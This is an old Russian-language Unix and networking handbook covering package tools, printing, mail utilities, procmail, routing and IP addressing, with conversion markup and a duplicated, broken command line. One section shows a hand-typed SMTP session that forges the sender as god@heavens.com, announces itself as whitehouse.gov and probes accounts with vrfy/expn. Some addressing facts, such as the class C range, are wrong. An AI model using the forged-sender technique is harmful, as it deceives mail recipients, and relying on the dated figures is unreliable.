1 d none lib 0755 poul insects
1 f none lib/MyProg.lib 0644 root other
1 d none man 0755 poul insects
1 f none man/MyProg.man 0644 root other


Файл "pkginfo":

PKG=MyProg
NAME=MyPackage
ARCH=sparc
VERSION=Version 1.0
CATEGORY=application
VENDOR=Pavel K. Klodin
EMAIL=webmaster@reksoft.ru
PSTAMP=Pstamp
BASEDIR=/usr/local
CLASSES=none


     г)  После  того,  как  файлы  сделаны,  выполним следующие
команды:

cd ~/tmp/MyPackage
pkgmk -o -d /tmp -r .


     После  этого  в директории "/tmp" будет создан пакет "MyPackage" в виде
структуры файлов  и  директорий.  С  ним  уже  можно  оперировать  утилитой
"pkgadd".   д)   Теперь,  наконец,  выполним  команды  (предварительно  став
суперпользователем с помощью команды "su -"):

cd /tmp
pkgadd -d .


     ПРИМЕЧАНИЕ:   Следует   помнить,  что  пакеты  могут  быть
представлены в двух равноправных формах:

    в виде структуры директорий (как уже было рассмотрено выше);
    в виде так называемых "потоковых пакетов" (stream packages).

     Они  представляют  собой  простой  файл,  как если бы были
записаны  на  стриммерной   кассете   или   каком-либо   другом
последовательном  устройстве  (отсюда,  возможно,  и название).
Обращаться с ними следует так же, как и с "обычными" пакетами  в
виде  структуры  директорий  и  файлов.  Эти  2  формы взаимно
преобразуются командой "pkgtrans".

              Советом поделился Павел Клодин

        &dDSummary; of pkg commands:&d;@

	    pkginfo {pkg}   - test for presents of package.
	    pkgadd -d /cdrom/Solaris_2.3 <pkg ...>
			    - add missing packages
	    pkgrm {pkg ...} - remove packages.
	    pkgchk -q {pkg} - test for existance of package
	    pkgchk {options} [pkg] - check installed packages for
	    integrity.

    Let's say your Solaris2 workstation is called "sol" and the
    4.1.x server is called "bertha" and you want the printer name
    to be "printer" (imaginative, eh?).

    sol# lpsystem -t bsd bertha             # says bertha is a bsd system
    sol# lpadmin -p printer -s bertha       # creates "printer" on "sol"
					    # to be printed on "bertha"
    sol# accept printer                     # allow queuing
    sol# enable printer                     # allow printing
    sol# lpstat -t                          # check the status

    sol# lpadmin -d printer       # default

    To get transparent mode, try this:

    lpadmin -I any -p printer

        &dD; * Пакеты в Linux RedHat * &d;@

Поставить пакет

    rpm -i filesystem-1.2-1.i386.rpm

Удалить пакет

    rpm --erase filesystem-1.2-1

Список всех пакетов

    rpm -qa

Список файлов, входящих в неустановленный пакет:

    rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it

 rpm2cpio  <  packetname-1.2-1.i386.rpm  | cpio -it rpm2cpio < packetн
name-1.2-1.i386.rpm | cpio -it
    rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it

Список файлов, входящих в установленный пакет:

    rpm -l   nfs-server-2.2beta16-5

Апдейты к RedHat лежат здесь. Обязательно ставить security updates
 ftp://ftp.funet.fi/pub/Linux/mirrors/redhat/redhat/redhat-4.2/updates/i386/

Установка апдейта
    rpm -Uvh samba-1.9.18p7-0.i386.rpm

        &dD; * Пакеты в HP-UX 10.20 * &d;@

Пакеты в HP-UX ставятся через подменюшку SAM.

Список всех пакетов

    swlist -l product
.
        &dD;Несколько сетевых команд Unix&d;@

        &dD1.; ping&d;@.   Прозвонить удаленую машину.

Проверяет, откликается ли указанная машина по сети:

  ping host.name

Включить непрерывную "прозвонку" (с интервалом в 1 сек.):

  ping -s host.name

Прервать  "прозвонку"  - Сtrl-С .


        &dD2.; finger&d;@. Кто работает в системе.

Формат использования:

  finger [-l]   пользователь@сетевое.имя.компьютера

Кто работает на машине по имени ipsun.ras.ru :

  finger @ipsun.ras.ru

Как поживает пользователь Мошков на этой машине:

  finger -l moshkow@ipsun.ras.ru

        &dD3.; talk&d;@.   Вызвать пользователя на разговор

  talk  moshkow           или
  talk moshkow@fedfond -  вызвать  указанного  пользователя  на
                          указанной машине на разговор.

У этого пользователя на экране появится приглашение поговорить:

  Message from Talk_Daemon@ipsun at 23:29 ...
  talk: connection requested by ivanov@server.fedfond.msk.su
  talk: respond with:  talk  ivanov@server.fedfond.msk.su

И если он наберет ответную команду

  talk ivanov@server.fedfond.msk.su

То вы сможете поговорить  друг  с другом. Окончание разговора -
Ctrl-C

        &dD4.; mailx&d;@.  Послать кому нибудь электронную почту.

/* в Linux надо использовать не mailx, а просто маил */

  mailx  username@host.name
Subject: Тема письма
Текст сообщения
   . . .
Окончание текста сообщения



Чтобы окончить ввод текста письма, в пустой строке нажмите
Ctrl-D. Или поставьте точку "." в начале строки и нажмите ENTER.

  Если письмо уже готово и находится в  файле  let.txt, то отп-
равить его можно так:

mailx -s "Проверка почты" semen@server.fedfond.spb.su < let.txt

        &dD5.; mailx&d;@.  Прочитать пришедшую на мой адрес почту.

mailx,  запущенный  без аргументов, переходит в командный режим
чтения поступившей почты.  В  этом  режиме  можно  пользоваться
такими командами:

        ?              - выдать help по всем доступным командам
        h 12           - заголовки писем начиная с 12-го номера
        6              - читать 6-ое письмо
        d              - уничтожить текущее письмо
        s fajl         - сохранить письмо в файле "fajl"
        r              - ответить на письмо

для настроек программы mailx используется файл .mailrc, который
должен  лежать  в  домашнем  каталоге   пользователя.   В   нем
желательно иметь строчки такого примерно содержания:

########### вставьте эти строки в свой файл   .mailrc    !!!!
set crt=22
set record='/home/moshkow/Mail.sended'
##############################################################
# чтобы длинные письма "листались" постранично командой more ;
# сохранять  копии всех отправленных  писем
# в файле /home/moshkow/Mail.sended ;

alias max    moshkow@ipsun.ac.msk.su
alias kafedra petrov smirnov@nic.com lapin@sovim.mit.edu

#  почтовые алиасы - можно задать синонимы для длинных почтовых
# адресов или  группы  адресов,  и  использовать  эти  синонимы
# вместо адреса при отправке почты

Если  вы  хотите завести себе благозвучное имя для адреса своей
электронной почты, вставьте в файл /etc/aliases примерно  такие
строчки:

Maksim.Moshkow: moshkow
moshkov:        moshkow

        и выполните команду

    newaliases

И теперь мне можно отправлять письма по таким адресам:

        moshkow@moshkow.ru
        moshkov@moshkow.ru
        Maksim.Moshkow@moshkow.ru

     Если  вы  хотите переадресовывать все пришедшие вам письма
на другой адрес, создайте файл $HOME/.forward и впишите в него

новый@емаил.адрес

   или, если нужно отсылать письма, но оставлять себе копию, то

\yourlogin, newadres@email.adres


Если используется Linux, то можно пользоваться системой procmail
Чтобы  письма  присланные вам по списку рассылки складывались в
отдельный folder, поместите в свой $HOME/.procmailrc :
###############################################################
####### Удаляем дублированние писем (с одинаковым message-id)
:0 Wh: msgid.lock
| formail -D 8192 msgid.cache

####### Mail-листы сбрасываем в отдельный фолдер
:0
* ^(Sender|To|CC): .*(ezh@cdru.com|ezh@ezhe.com|banners@list.techno.ru)
nsmail/ezh

####### Перенаправить тело письма (без заголовка) на программу
:0 b
* Subject: .*uuencoded
| uudecode

####### Если  письмо  небольшого  размера  и  не касается mailing-листа
####### "zhurnal@sharat.co.il" то копию пересылать на мой домашний email.
#######$HOME/.procmailrc :
:0 c
* < 10000
* !^To: .*zhurnal
! moshkow@home.moshkow.ru

####### Посылаем подтверждение о получении писем больше 30Кб
:0 h c
* > 30000
* !^From: CityCat
* !^From: .*linux
* !^FROM_DAEMON
* !^Subject: BOOK614
* !^X-Loop: moshkow@moshkow.ru
| ( egrep -v  '^From moshkow|^Return-Path: moshkow' | formail -r -A"Precedence: junk" -A"X-Loop: moshkow@moshkow.ru" ; echo "Thanks, I have got your mail.") | $SENDMAIL -t
###############################################################

        &dD6.; telnet&d;@. Залогиниться на удаленную машину.

  telnet host.name

Команда telnet позволяет вам залогиниться на удаленную машину,
и работать на ней, как-будто вы сидите за терминалом, подклю-
ченным непосредственно к ней.

У команды telnet есть "горячий ключ" "Ctrl-]" , который перево-
дит  telnet в командный режим. В этом режиме можно менять пара-
метры работы telnet'а. Выход из командного режима - ENTER.
Среди полезных команд назову так же "exit" и "help"

        &dD7.; ftp&d;@.    File Trasfer Protocol. Пересылка файлов.

Что делать, если нужно "перетащить  файл"  с  чужой  машины  на
свою  (или  наоборот), а NFS между ними не запущен? Используйте
программу ftp. Это простенькая команда, позволяющая  пересылать
файлы между машинами по протоколу TCP/IP.

    ftp host.name

User name (moshkow): ivanov
Passwd:

        Удаленная  машина  спросит у вас ваше входное имя и па-
роль (под которыми вы зарегистрированы  НА  УДАЛЕННОЙ  машине).
Если  вы на ней не зарегистрированы, попробуйте указать входное
имя "anonymous", а в качестве пароля - свой email-адрес.

После этого ftp переходит в командный режим. В этом  режиме  вы
можете "перемещаться" по каталогам удаленной машины, по катало-
гам своей машины, просматривать их оглавление, и забирать файлы
оттуда к себе, или класть их от себя - туда.

ftp> help       - говорит само за себя
ftp> quit       - завершить работу
ftp> bin        - установить режим пересылки бинарных файлов
                  (настоятельно рекомендую)

ftp> cd katalog - перемещаться по "тамошним" каталогам
ftp> ls         - выдать "тамошнее" оглавление

ftp> lcd katalog - перемещаться по "здешним" каталогам
ftp> !dir       - выдать "здешнее" оглавление
ftp> !ls -al    - выдать "здешнее" оглавление

ftp> get  file-tam  [ file-name-zdes ]  - взять файл оттуда
ftp> put  file-zdes [ file-name-tam ]   - положить файл туда


        &dD;Как послать письмо вручную&d;@

&dDtelnet; localhost 25&d;@
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 t30.systud.msk.su ESMTP Sendmail 8.8.5/8.8.5; Thu, 14 May 1998 18:01:21 +0400
vrfy ryba@aquarium.ru
expn ryba@aquarium.ru
&dDhelo; whitehouse.gov&d;@
250 t30.systud.msk.su Hello localhost [127.0.0.1], pleased to meet you
&dDmail; from: god@heavens.com&d;@
250 god@heavens.com... Sender ok
&dDrcpt; to: moshkow@ipsun.ras.ru&d;@
250 moshkow@ipsun.ras.ru... Recipient ok
&dDdata;&d;@
354 Enter mail, end with "." on a line by itself
&dDSubject;: Time to pray!

This the time to pray caoming along!

God

.&d;@
250 SAA01324 Message accepted for delivery
&dDquit;&d;@
.
        &dD;Локальная сеть: Ethernet, Token ring, FDDI&d;@

        &dDEthernet;&d;@

Carrier   Sense  Multiple  Access  Collision  Detect  (CSMA/CD)
Контроль  несущей  с  множественным  доступом   и   разрешением
коллизий.

Стандарт  Ethernet/2  и  IEEE  802.3 похожи, но имеют различный
формат фрейма


&dDEthernet;'ов существует 3 типа:&d;@

10baseT         Неэкранированная витая пара, разъем RJ45
Twisted pair    (Длинна одной пары до 100м).
                В любой цепочке должно быть не более 4-х хабов.

10base5         Толстый  Ethernet. Желтый 2см кабель, 15 пиновый AUI
Thick ethernet  коннектор у hosta. "Краб" - для подключения к основному
                кабелю. На концах - N-терминаторы.(L<= 500м)

10base2         Тонкий Ethernet с коаксиальным 50-омным кабелем
Thin ethernet   и BNC коннекторами.
                Официальная длина кабеля 185 m (<=300m)
                30 хостов на одном сегменте

+-----+
|Host o------------------.                     "Звезда"
+-----+                   \
                           \  ___
+-----+                     \o   | Hub
|Host o----------------------o   |             10-base-T
+-----+                      o___|
                           /
+-----+                   /
|Host o------------------'
+-----+

+-----+         +-----+         +-----+        "Общая шина"
|Host |         |Host |         |Host |
+--+--+         +--+--+         +--+--+        Thin
 z-+---------------+---------------+-z

+-----+         +-----+         +-----+
|Host |         |Host |         |Host |
+--ш--+         +--ш--+         +--ш--+        Толстый ethernet
   n               n               n    ^
   n               n               n    |до 50м
 "краб"            n               n    v
n==M===============M===============M=======n

        &dDToken; ring&d;@

Стандарт  Token  ring  разработан  для сетей IBM, и практически
совпадает с IEEE 802.5

Аппаратно  -  звезда  (8  шт)  на витой shielded или unshielded
паре, подключенная к  MultiStationAccessUnit  (MSAU)  Несколько
MSAU  можно  соединять  друг  с другом, они при этом организуют
логическое общее кольцо.

Логически  -  кольцо по которому идет маркер-тележка. Принявший
маркер с сообщением считывает если оно ему, может положить свое
если  маркер "пуст", ищ в любом случает передает маркер дальше.
Пройдя круг маркер уничтожается станцией,  его  запустившей,  и
запускается  новый. Допустим ровно один маркер. Маркер везет не
более одного пакета  с  данными.  Назначается  станция-Monitor,
которая  следит,  чтоб маркеры не шли второй круг, если станция
его породившая не смогла его удалить.

        &dDFDDI;&d;@

Аппаратно  -  двойное  оптоволоконное  кольцо. В базовом режиме
одно  из  кольец  не  используется.  В  кольце  есть  некоторое
количество   Dual   Attachment   станций.  Если  такая  станция
замечает, что прошедший сквозь нее пакет не вернулся  по  кругу
(кольцо порвано), она автоматически активизирует второе кольцо.
(То же должна сделать DAS на другой стороне от обрыва)

   ___0 DAS      ___0 DAS
  /___o         /___|
 //   \\       //
||     |* --> ||      *
||     o|     ||     o*
 \\___/o DAS   \\___/| DAS
  \___/         \___/

Логически  -  как и Token ring. Маркер может везти пакеты сразу
от  нескольких  станций.  Функции   Monitor'а   выполняют   все
участники кольца.

        &dD;Распай Unshielded twisted pair&d;@.

1 оранж    Tx+      | +-1---8-+ |      Rx+  3
2 ОРАНЖ    Tx-      | |       | |      Rx-  6
3 зелен    Rx+      |  |_____|  |      Tx+  1
4 СИНИЙ             |           |
5 синий	            |           |
6 ЗЕЛЕН    Rx-      |___________|      Tx-  2
7 корич            (провод на нас)
8 КОРИЧ
-----------------------------------------------------------------
Для соединения двух адаптеров напрямую, без HUB'а (point-to-point)
используется "перевернутый" провод. Tx+<-->Rx+, Tx-<-->Rx-,...

Многие  современные  ethernet-контроллеры  имеют автоматическое
определение кабеля, и  их  можно  вязать  напрямую  стандартным
"прямым" кабелем - не переворачивая.
.
        &dD;Глобальная сеть: хардваре и порты&d;@

      DTE                          DCE

(station, router) ** ------ ** (modem) <==== провайдерский линк

        &dD;Физические интерфейсы подключения:&d;@

EIA/TIA-232
EIA/TIA-449
V.24
V.35
X.21
G.703
EIA.530
HSSI

        &dD;Логические протоколы WAN подключения:&d;@

Data link encapsulation для синхронных линий:

&dDDedicated; WAN&d;@
SDLC        - Synchronous Data Link Control
HDLC        - High-level Data Link Control
LAPB        - Link Access Procedure Balanced
PPP         - Point-to-Point Protocol

&dDSwitched; WAN&d;@
Frame Relay - упрощеная версия HDLC фрейминга
X.25
ISDN
.
        &dD;Маршрутизация TCP/IP&d;@

                                           Сеть      "Office"
  +--------+         +--------+            Network   195.1.2.0
  |        |         |        |            Netmask   255.255.255.0
  +--------+         +--------+            Broadcast 195.1.2.255
     | 195.1.2.3         | 195.1.2.10
 ----+-------------------+--------------------------+-------------
          |195.1.2.1                                | 195.1.2.2
  +--------+                                     +--------+
|-|GatewayD|                                     |GatewayO|
| +--------+                                     +--------+
| 198.8.2.1                                     SLIP : 122.5.6.9
|              Сеть      "Developers"                :
| +-------+    Network   198.8.2.0                   :
|-|       |    Netmask   255.255.255.0             Modem
| +-------+    Broadcast 198.8.2.255               . . .
| 198.8.2.2
|                                                  Modem
| +-------+                                        . . .
|-|       |                                          :
| +-------+                                      SLIP: 122.5.6.10
| 198.8.2.3                                     +--------+
                                                |GatewayF|
                                       122.5.6.3+----+---+
   --------------------------------------------------+--------
     | 122.5.6.1         | 122.5.6.2       Сеть      "Filial"
  +--------+         +--------+            Network   122.5.6.0
  |        |         |        |            Netmask   255.255.255.192
  +--------+         +--------+            Broadcast 122.5.6.63

           Статические таблицы маршрутизации

Обычный Host        IP       198.8.2.2
сети "Developers"   Net:     198.8.2.0 -- 198.8.2.255
198.8.2.0           Default: 198.8.2.1

Мост "GatewayD"     ifconfig eth0 198.8.2.1
                    ifconfig eth1 195.1.2.1
                        route add net 198.8.2.0 198.8.2.1  0
                        route add net 195.1.2.0 195.1.2.1  0
                        route add       default 195.1.2.2  1

Мост "GatewayO"     ifconfig eth0 195.1.2.2
                    ifconfig sl0 122.5.6.9 pointopoint 122.5.6.10
                        route add net 195.1.2.0 195.1.2.2  0
                        route add net 198.8.2.0 195.1.2.1  1
                        route add      default 122.5.6.10  1

Обычный Host        IP       195.1.2.3
сети "Office"       Net:     195.1.2.0 -- 195.1.2.255
195.1.2.0           Default: 195.1.2.2
                        route add net 198.8.2.0 195.1.2.1  1
.
        &dD;Сеть TCP/IP&d;@

Протокол  TCP/IP (Transmission Control Protocol/Internet Proto-
col) является  базовым   транспортным   сетевым   протоколом  в
UNIX'е. В заголовке TCP/IP пакета указывается:

IP-адрес отправителя
IP-адрес получателя
Номер порта      (Фактически - номер прикладной программы,
                 которой этот пакет предназначен)

TCP/IP-ишные пакеты имеют интересную особенность:  они способны
"добраться" до  адресата,  пройдя  сквозь разнородные локальные
сети, используя разнообразные физические носители. "Маршрутиза-
цию" IP-пакета  (переброску  его в требуемую сеть) осуществляют
"на добровольных началах" компьютеры, входящие в TCP/IP сеть.

        &dD;Всемирная сеть Internet&d;@.

Все компютеры мира, поддерживающие протокол TCP/IP и каким-либо
образом  подключенные  друг  к   другу,   образуют   глобальную
всемирную  сеть  TCP/IP  "Internet".  Темпы  роста  "Internet":
100000 IP-адресов в месяц. В настоящий момент (конец 1994 года)
к Internet'у подключено около:

      20,000  сетей
   4,000,000  компьютеров
  35,000,000  пользователей

        &dD1.; IP-адрес&d;@.

Каждая машина в мире имеет свой уникальный IP-адрес.

IP-адрес - 32-битное число, которое принято записывать в сме-
шанном 16-рично-десятичном формате, в виде 4 чисел, разделенных
точками. Например:

  193.124.148.73
  128.8.2.1

Каждое десятичное число здесь представляет на  самом  деле  два
шестнадцатеричных  разряда.  Может  принимать  значения от 0 до
255. Допустима также шестнадцатеричная запись:

  c1.7c.94.49  или 0xC17C9449
  80.08.02.01  или 0x80080201

В условиях корректно сконфигуренной локальной сети, и при усло-
вии  подключения ее  к всемирной сети Internet, протокол TCP/IP
позволяет вашей сетевой программе работать с ЛЮБЫМ  компьютером
в мире, как если бы он находился в вашей локальной сети.

Уникальность IP-адресов  поддерживается  просто.  Они  выдаются
централизованно.  Контора,  которая этим занимается, называется
NIC - Network Informational Center. Европейское  отделение  NIC
расположено  в  Амстердаме.  Она  ВЫДАЕТ IP-адреса. В адрес NIC
нужно послать форму-запрос установленного образца, и через  не-
которое  время  вам  пришлют "пачку" IP-адресов, выделенных для
вашей сети. E-mail адрес, по которому нужно послать запрос:

  hostmaster@sri-nic.net

Московский узел, раздающий IP-адреса, а так же домены *.ru
доступен по адресу

  РосНИИРОС         xSU/RU NetworkInformationalCenter
  ncc@ripn.net      или      ncc@ussr.eu.net
  www.ripn.net/nic/ripn-docs/

        &dDIP-;сеть, подсеть.&d;@

IP-сеть -  "пачка"  из  2**n  IP-адресов,  ИДУЩИХ ПОДРЯД. Самый
младший - резервируется. Этот адрес называется адресом IP-сети.
Например 128.8.0.0, или 193.125.149.64 . Адрес сети использует-
ся, когда требуется  указать  всю сеть целиком, например, когда
задается маршрутизация до этой сети.

Маска сети - фактически размер сети, задает число адресов в се-
ти. Задается либо количеством битов в маске сети (например 8бит
- 256 адресов, 6 бит - 64 адреса), либо битовой маской вида

   b'111...11100...00'
         число^^   ^^ битов

которую тоже принято записывать  в  десятично-побайтной записи,
например:

  255.255.255.192 - маска на 64 адреса
  255.255.255.0   - маска на 256 адресов
  255.255.0.0     - маска на 64Kb адресов

Broadcast  адрес  сети   - самый старший адрес в сети. Резерви-
руется для передачи сообщений типа "все-всем-всем" (в сети).

  128.8.255.255

Сети делятся на классы:

Класс A.    "Огромные" сети.
        Адреса этих сетей лежат в промежутке: 1 - 126.
        Маска сети: 255.0.0.0
        Содержит до 16387064 адресов (256*256*256).
        Адреса хостов в этих сетях вида: 125.*.*.*

Класс B.  "Средние" сети.

        Адреса этих сетей лежат в промежутке: 128.0 - 191.255
        Маска сети: 255.255.0.0
        Содержит до 64516 адресов (256*256).
        Адреса хостов в этих сетях вида: 136.12.*.*

Класс C.  "Маленькие" сети.

        Адреса сетей лежат в интервале: 192.0.0 - 255.254.255
        Маска сети: 255.255.255.0
        Содержит 254 адреса.
        Адреса хостов в этих сетях вида: 195.136.12.*

Класс D. "Multicast-сети" (групповая адресация) (в стадии разработки)
        Адреса сетей лежат в интервале: 224-239

Класс E. "Экспериментальные"            240-250

Адреса 0, 127, 255 - специальные и для обычных IP не используется

        &dD2.1.; Private Address Space&d;@

     Если   ваша   сеть   будет  использоваться  только  внутри
организации, и машины не будут иметь непосредственного выхода в
интернет, то адреса для нее можно брать "с потолка".

В документе RFC 1597 "Address Allocation for Private Internets"
March 1994:

The  Internet  Assigned Numbers Authority (IANA) зарезервировал
три блока IP адресов для использования во внутренних сетях:

        10.0.0.0        -   10.255.255.255     Класс A
        172.16.0.0      -   172.31.255.255     Класс B
        192.168.0.0     -   192.168.255.255    Класс C

Роутеры  большинства  ISP  эти  адреса  не  маршрутизируют, что
добавляет им(адресам) безопасности.

        &dD2.; Объявляем IP-адрес на наш ethernet'ный контроллер&d;@.

Конфигурация сети на UNIX-машине обычно делается  автоматически
при начальной загрузке. Вкратце ее можно описать так:

Определение трех однотипных карт в Linux (1*ISA, 2*PnP):

/etc/conf.modules
alias eth0 ne
alias eth1 ne
alias eth2 ne

options ne io=0x220,irq=5

Объявляем,   что   наш  IP-адрес  198.8.2.1  и  он  поднят   на
ethernet'ную карту по имени elx70 . В случае  Motorol'ы так на-
зывается ethernet, торчащий из главной системной  платы - платы
с процессором.

   ifconfig  e1x70  198.8.2.1  up

Объявляем, что наш второй контроллер  с  именем  m3760  (нижняя
плата) имеет IP-адрес 198.8.3.1

   ifconfig  m3760  198.8.3.1  up

        &dD3.; Маршрутизация локальной сети&d;@.

Объявляем, что машины с адресами вида 198.8.2.* *=1,...,254 си-
дят на нашем верхнем локальном сегменте  ethernet, и разговари-
вать с ними надо напрямую, через верхний ethernet, соответству-
ющий нашему адресу 198.8.2.1 - т.е. - elx70. А с машинами, име-
ющими адреса вида 198.8.3.* - через нижний ethernet - с адресом
198.8.3.1

   route add  net  198.8.2.0  198.8.2.1 netmask 255.255.255.0 0
   route add  net  198.8.3.0  198.8.3.1 netmask 255.255.255.0 0

Сетевые пакеты для IP-адресов, которые не лежат в нашей локаль-
ной сети, переправлять на машину с  сетевым адресом 198.8.2.107
- а  уж она сама будет разбираться,  что с  ними делать, и  как
доставить их до конкретных адресатов.

   route add default      198.8.2.107  1

Последний аргумент команды route - метрика.  Ее можно интерпре-
тировать как "расстояние" до "того" gateway'я, или "сколько пе-
ресадок между  gateway'ями придется сделать IP-пакету по дороге
туда. Поскольку IP-адреса 198.8.2.1  и  198.8.3.1 соответствуют
нашим собственный платам ethernet, то и метрика (расстояние) до
них 0. 198.8.2.107 - другая машина - "расстояние до нее" 1.

Смотрим, что у нас получилось

  netstat -rn             # распечатать таблицу маршрутизации

  ping -s fedfond         # "прозвонить" узлы сети
  ping -s fedfond-gate
  ping -s 198.8.2.107

  netstat  -i        # статистика о работе сетевых интерфейсов

Настала пора объяснить, что такое lo0 и localhost.  Это так на-
зываемый Loop-back  интерфейс.  Он  имитирует сетевой интерфейс
локально, не выходя за границы нашего компьютера. Loop-back ин-
терфейсу  соответствует   зарезервированный  за  ним   IP-адрес
127.0.0.1

        &dD4.;&d;@ Конфигурирование TCP/IP на Мотороле 922.

Придумайте  сетевое имя вашего компьютера. Пусть вы решили, что
ваш компьютер  должен  называться  fedfond,  и  иметь  IP-adres
198.8.2.1  .  Однако  не  забывайте,  что у Моторолы ДВА etherн
net-контроллера, и КАЖДЫЙ из них ДОЛЖЕН иметь  свой  УНИКАЛЬНЫЙ
IP-адрес.  Мы  решаем,  что  второй  наш  ethernet  будет иметь
IP-адрес 198.8.3.1, ну и этому адресу  можно  назначить  вполне
человеческое  имя,  например  "fedfond-gate".

ВНИМАНИЕ:  если  вы  внимательно  рассмотрите  содержание файла
/etc/inet/rc.inet, особенно строку вида

    /usr/sbin/ifconfig e1x70 `uname -n`-gate $net_mask up

то  поймете,  что  второй  ethernet  должен  называться  именно
fedfond-gate , и никак иначе.

Итак, чтобы установить сетевое имя и IP-адреса нашего host'а

1. командой  sysadm  установите  "nodename" . ВНИМАНИЕ:  именно
nodename (имя узла) а не systemname (имя операционной системы)

2.  В файл /etc/hosts вставьте строчки, привязывающие IP-адреса
к имени fedfond и, ВНИМАНИЕ!, fedfond-gate

198.8.2.1    fedfond
198.8.3.1    fedfond-gate

3. Перезагрузитесь.


        &dD;Конфигурирование 2-го ethernet в Linux&d;@

Первый-то ethernet конфигурится с раздачи - сложность появится,
когда   мы   захотим   увидеть   второй.   Например   можно   в
/etc/rc.d/rc.local поставить такие команды:

# подгрузка дравера с дековским чипом 2140
insmod /lib/modules/2.0.18/de4x5.o io=0
# выделение IP # статический роутинг на вторую сетку
ifconfig eth1  10.232.172.1
route add -net 10.232.172.0 gw 10.232.172.1 netmask 255.255.255.0

Если   дравер   2-го   ethernet'а   вкомпилирован  в  ядро,  то
активизировать его можно так: в файл /etc/lilo.conf вписать

append="ether=0,0,eth0 ether=0,0,eth1"    # если сработает autoprobe
# в случае явного задания параметров карт
append="ether=10,0x300,0xe800,eth0 ether=12,0x280,eth1"

Включить роутинг:

echo 1 > /proc/sys/net/ipv4/ip_forward

        &dD;Как узнать hardware адрес ethernet'ной карты&d;@

Если   машины   нормально   сконфигурированы   для  TCP/IP,  то
достаточно попинговать их явно или по броадкасту, затем arp -a

    ping [-s] 123.456.789.255
    arp -a

Почти  всегда  можно  разобрать  машину,  и  посмотреть  адрес,
напечатанный на самой плате.

Linux: Адрес печатается при загрузке ядра.
       Если карта сконфигурирована, то адрес сообщает команда
       ifconfig

Sun:   Адрес печатается boot-монитором при старте
       Hardware адрес ethernet'а на Sun можно произвольно менять
       находясь в boot-мониторе, или командой ifconfig
       подробности см. в Sun NVRAM & hostid FAQ

HP-UX: Адрес можно узнать командой lanscan. На рабочих станциях
       адрес можно узнать еще и из boot-монитора PDC.

        &dD5.; Прикладные интерфейсы&d;@.

Чтобы  писать программы, работающие с сетью, программист должен
пользоваться каким-либо набором системных вызовов и функций. От
BSD-Unix'а  в  жизнь  вошел получивший большую популярность API
Berkеlеy-sockets. AT&T; System V породила TLI  (Transport  Level
Interface) - построенный на технологии "потоков" (streams).

SVR4   поддерживает   и   то,   и   другое.  Поддержку  сокетов
обеспечивает демон inetd (Internet Super Server), поддержку TLI
обеспечивает демон listen (Network Listener).

        &dD6.;&d;@ Конфигурация TLI

Демон listen  управляется  специальной  базой данных, в которую
необходимо вписать  IP-адрес  нашего host'а. Делается это "один
раз в жизни". IP-адрес задается в  хитрой шестнадцатеричной за-
писи.

Итак, если наши IP-адреса 198.8.2.1 и  198.8.3.1, их шестнадца-
теричная запись C6080201, C6080301 , то мы должны единовременно
выполнить три команды:

nlsadmin -i tcp
nlsadmin -l  '\x00020acec60802010000000000000000' tcp
nlsadmin -l  '\x00020acec60803010000000000000000' tcp
            "волшебное  ^^^^^^^^шестнадцать нулей
            слово 0acе"    |
                           |
             сюда вписывается наш фактический IP-адрес


        &dD7.;&d;@ Конфигурация BSD сокетов.

Для   этого  ничего  делать  не  надо.  Врочем,  в  дальнейшем,
возможно, вам придется этим заниматься. Настройки inetd лежат в
файлах:

/etc/inetd.conf      название сетевого  --> имя обслуживающей
                        сервиса                программы

/etc/services        номер порта --> название сетевого сервиса

Состояние текущих соединений можно посмотреть командой:

      netstat    (или     netstat -ta - если у вас Linux)

        &dD;Еще несколько протоколов&d;@

ARP - Address Resolution Protocol
Протокол  низкого  уровня. Поддерживается  на уровне ядра и/или
дравера сетевой  платы.  Для  определения,  какой  ethernet'ный
адрес  имеет   машина,  если  известен ее IP-адрес. Работает по
принципу  broadcаst:  "эй,  все,  все,  все:   IP-такой_то    -
отзовись", и он один отзывается.

  arp -a  # распечатать известные нам IP-адреса и их eth-адреса

RARP - Reverse Address Resolution Protocol.
Для оповещения бездисковых  клиентов,  какой у них IP-адрес. На
сервере запускается  демон  rarpd.  У  него  есть файл-таблица:
ether-адрес  ->  IP-адрес. По  запросу-broadcast'у бездискового
клиента  вида:  "эй, все,все,все,  мой eth-адрес такой-то.  Как
меня зовут?" rarpd сообщает ему, какой у него IP (а  другой де-
мон bootparamd сообщает ему дополнительную информацию - где ему
брать свою корневую файловую систему, например).

Для обмена информацией о роутинге (маршрутизации)  используются
протоколы RIP, BGP, EGP, ICMP.

RIP - Routing Information Protocol
Внутренний протокол  роутинга (внутри  автономной системы). Его
поддерживают демоны routed и/или gated.

BGP - Border Gateway Protocol
EGP - External Gateway Protocol
Роутинг  между  автономными системами.  Их  поддерживает  демон
gated

ICMP - Internet Control Message Protocol
передает  сообщения   об   ошибках  в  TCP/IP  (например  "port
unreachable"), используется программами ping, traceroute, может
передавать сообщение о нерациональном роутинге типа "redirect":
"вообще-то можно направлять пакеты через меня, однако есть и бо-
лее короткий путь".

Для   обмена   информацией   о  символических  именах  host'ов,
пользователей,  групах   пользователей   и   пр.   используются
протоколы DNS и NIS/YP

DNS - Domain Name System.
Позволяет использовать символические имена хостов помимо цифро-
вых IP-номеров, и организовывать "деревянную" структуру  наиме-
нования  доменов  (типа pc101.fedfond.msk.su  ,  ftp.sco.com  и
т.п.) Сервер DNS - хост, на котором запущен демон bind,  и хра-
нятся имена хостов  в зоне(домене). На остальных хостах для оп-
ределения IP-адреса по имени используются библиотечные  функции
библиотеки "resolver"  - gethostbyname, gethostbyaddr,  которые
обращаются по сети к ближайшему серверу DNS, и  выясняют у него
IP-адрес машины по ее имени (domain-name).

NIS/YP  -  Network  Information  System  (используется  так  же
название, пришедшее от фирмы Sun  -  Yellow  Pages).  Позволяет
хранить  на  одном  NIS-сервере  (с демоном ypserv) информацию,
единую для всей локальной сети: имена  хостов,  имена  и  права
пользователей,   групп   пользователей,  название  их  домашних
каталогов, символические имена портов и т.д. и т.п.

Еще раз об отличиях DNS от NIS/YP: DNS - система "глобальная" -
действует  в  рамках всего Интернета, но содержит ТОЛЬКО  имена
хостов. NIS/YP -  содержит  помимо имен хостов несколько других
информационных баз, но зато поддерживается только в рамках сети
одной организации.

        &dD;Конфигурирование TCP/IP на скорую руку&d;@

       В  большинстве  unix-ов имеется простая менюшная утилита
позволяющая сконфигурировать основные параметры компьютера: Имя
